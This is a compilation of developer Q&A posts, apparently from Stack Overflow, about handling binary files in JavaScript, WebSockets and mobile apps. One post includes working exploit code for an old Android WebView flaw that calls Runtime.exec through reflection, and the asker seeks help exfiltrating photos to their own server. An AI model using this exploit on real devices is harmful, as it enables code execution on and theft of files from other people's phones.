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How to read a LOCAL binary file using JavaScript while in HTML

Currently I am building a local (non-internet) application that launches a Chromium browser in Visual Basic .NET.
It uses CefSharp to achieve this.
When the HTML launches I need to read multiple files in order to plot graphs using Plotly.
The problem: I can't read binary files.
I have succeeded in reading ASCII and non-binary files, by disabling security on CefSharp. I tried using the FolderSchemeHandlerFactory class, but that didn't work.
In order to read ASCII files I have resorted to using XMLHttpRequest which works for ASCII , but not binary. I have tried changing the response type to arraybuffer, but that doesn't work either.
function readTextFile(file){
var array = []
var file= new XMLHttpRequest();
file.open("GET", file, false);
file.onreadystatechange = function ()
{
if(file.readyState === 4)
{
if(file.status === 200 || file.status == 0)
{
var text= file.responseText;
array = text.split("\n");
}
}
}
file.send(null);
return array;
}

Handle the output of 'cat example.png' in JS

I am trying, out of interest, to do some remote code execution on my old Android phone. On old versions of the Android "WebView" component, there is a vulnerability that makes it possible to execute shell code and read the response via JS. The relevant code, taken from here, looks like this:
function execute(cmdArgs)
{
return SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
[...]
var p = execute(["ls","/mnt/sdcard/DCIM/Camera/"]);
input = getContents(p.getInputStream());
In this example, we list the files in the Camera folder and store them into 'input' as a string, which worked fine for me.
I have read however that the same vulnerability could be used to exfiltrate whole media files. The problem is that I do not know what type of data I get if I just remote-execute 'cat /path/to/example.png' on the phone. I want to submit the data to my (Python) web server. I tried running the above code, converting the bytes to a string (which contains a lot of gibberish), send the string via an XMLHttpRequest, then on my server just save that string to a binary file. That didn't work, obviously. I strongly suspect I should base64 encode the whole thing before transmission, but I don't even know how to retrieve the raw byte array from p.getInputStream() . It doesn't help that google doesn't give me any meaningful results for 'javascript inputstream' at all ...

File transfer from Browser to locally connected iPhone

Right now, I have created an HTTP Server on My iPhone Application and have hosted HTML there. Then Accessing it on Browser of the system that is in the same network of iPhone. I can see the File on my Browser.
Now using WebSockets I am trying to send File from Browser to Application, but It's not working. It's fine with Text Message but Not in case of Data.
As a workaround, I tried it via Base64 String, but in that case also socket Get Closed.
For uploading using JAVAScript I have written this code, here I tried by sending Base64 string in fragments of size 200 characters.
function sendFile() {
var preview = document.querySelector('img');
var file = document.querySelector('input[type=file]').files[0];
var reader = new FileReader();
var rawData = new ArrayBuffer();
reader.onloadend = function () {
var stringContent = reader.result;
preview.src = stringContent;
var array = stringContent.match(/.{1,200}/g);
for (var i = 0; i < array.length; i++) {
ws.send(array[i]);
};
}
if (file) {
reader.readAsDataURL(file);
}else {
preview.src = "";
}
}
On iPhone side, I have used WebSocket Class from Libary CocoaHTTPServer
Socket closed at this line.
EDIT
After lots of trial and Error, I come to know that This is happening If I am opening this in Browser of Mac, Not in case of any other devices' browser like iPad, iPhone. This is very weird use-case but its true.
EDIT II
After lots of wondering, I found a Clue to this, This was working nicely for iPhone, iPad, iPod & Opera browsers, because they have old websocket support, i found this from here..
In this question the Guy have the reverse case, He is trying to close the connection on these browsers, in My case It's closing on other Browsers like chrome, Mozilla, etc. It's because something called Hybi formatted packets. This might help someone to suggest the solution for my case.

I think you should look at the official CocoaHTTPServer examples. There is one for http file uploads: https://github.com/robbiehanson/CocoaHTTPServer/tree/master/Samples/SimpleFileUploadServer

ws: protocol is allowed? For example config.xml
<access origin="ws://192.168.1.xx/*"/>

How to upload a binary file in IE8 then send it to server using xmlhttprequest

I'm working on the web pages of an embeded device. To exchange data between the web page and the application of this device I use xmlhttprequest.
Now I search a way to allow the client to upload a binary (to update the firmware of that device) to the server.
One big limitation : it needs to works in IE8 (a cross browser solution would be ideal, but it's mandatory to work on IE8 first...)
In detail what I have to do :
Use the <input type='file'> to select the file on the client computer
Send the file (using xmlhttprequest?) to the server
The server will reassemble the file and to whatever it need to do with it...
I was able to get a binary from the client to the server in chrome, but in IE8, my method was not compatible.
The relevant html file :
<input id="uploadFile" type="file" />
In the javascript, I tried different way to fire an event with the input file type
// does not work in IE8 (get an Obj doesnt support this property or method)
document.querySelector('input[type="file"]').addEventListener("change"),function(e)...
// tried with jQuery, does not work in IE8(I may not using it correctly...)
$('upload').addEvent('change', function(e)....
$('upload').change(function(e)....
So my first problem is : how to do a onChange event with the input type file in IE8?
Also the method I was using in chrome (found on this page : http://www.html5rocks.com/en/tutorials/file/xhr2/ ) but that is not working on IE8 :
function upload(blobOrFile) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/server', true);
xhr.onload = function(e) { ... };
xhr.send(blobOrFile);
}
document.querySelector('input[type="file"]').addEventListener('change', function(e) {
var blob = this.files[0];
const BYTES_PER_CHUNK = 1024 * 1024; // 1MB chunk sizes.
const SIZE = blob.size;
var start = 0;
var end = BYTES_PER_CHUNK;
while(start < SIZE) {
upload(blob.slice(start, end));
start = end;
end = start + BYTES_PER_CHUNK;
}
}, false);
})();
Because the document.querySelector generate an error in IE8, I don't know if the rest of this code works in IE8 (I wish it can works!)
Any help and suggestion will be greatly appreciated!!!

Download PDF file in HTML5/Javascript MOBILE application

I need to create functionality which allows a user to download a PDF file from my HTML5/JavaScript-based mobile application. I will be getting the PDF file as a Base 64 encoded byte stream. How can I allow the user to download the PDF to their device upon clicking a button in the page?

For IOS:
You can download a pdf on iPhone apps and show it in a WebView.
Some ways are listed at this (linked) question. You can also find there how to put the pdf in a folder of the device/iPhone running the app: How to download PDF and store it locally on iPhone?
let request = URLRequest(url: URL(string: "http://www.msy.com.au/Parts/PARTS.pdf")!)
let config = URLSessionConfiguration.default
let session = URLSession(configuration: config)
let task = session.dataTask(with: request, completionHandler: {(data, response, error) in
if error == nil{
if let pdfData = data {
let pathURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0].appendingPathComponent("\(filename).pdf")
do {
try pdfData.write(to: pathURL, options: .atomic)
}catch{
print("Error while writting")
}
DispatchQueue.main.async {
self.webView.delegate = self
self.webView.scalesPageToFit = true
self.webView.loadRequest(URLRequest(url: pathURL))
}
}
}else{
print(error?.localizedDescription ?? "")
}
}); task.resume()
For Android:
There are many ways to do it for Android. This one should work in most cases without any issue:
URL u = new URL("http://www.path.to/a.pdf");
//open a connection
HttpURLConnection c = (HttpURLConnection) u.openConnection();
c.setRequestMethod("GET");
c.setDoOutput(true);
c.connect();
FileOutputStream f = new FileOutputStream(new File(root,"file.pdf"));
//read the file
InputStream in = c.getInputStream();
byte[] buffer = new byte[1024];
int len1 = 0;
while ( (len1 = in.read(buffer)) > 0 ) {
f.write(buffer,0, len1);
}
f.close();
This other one-line option works to download a pdf in android, but seems to have different behavior depending on the device and other installed apps (pdf reader):
`startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("path/filename.pdf")));`
I used this question and it's reply to get a working code example. You can find a long answer at the bottom of the post with many different use-cases and their solutions explained at the same post.: How to download a pdf file in Android?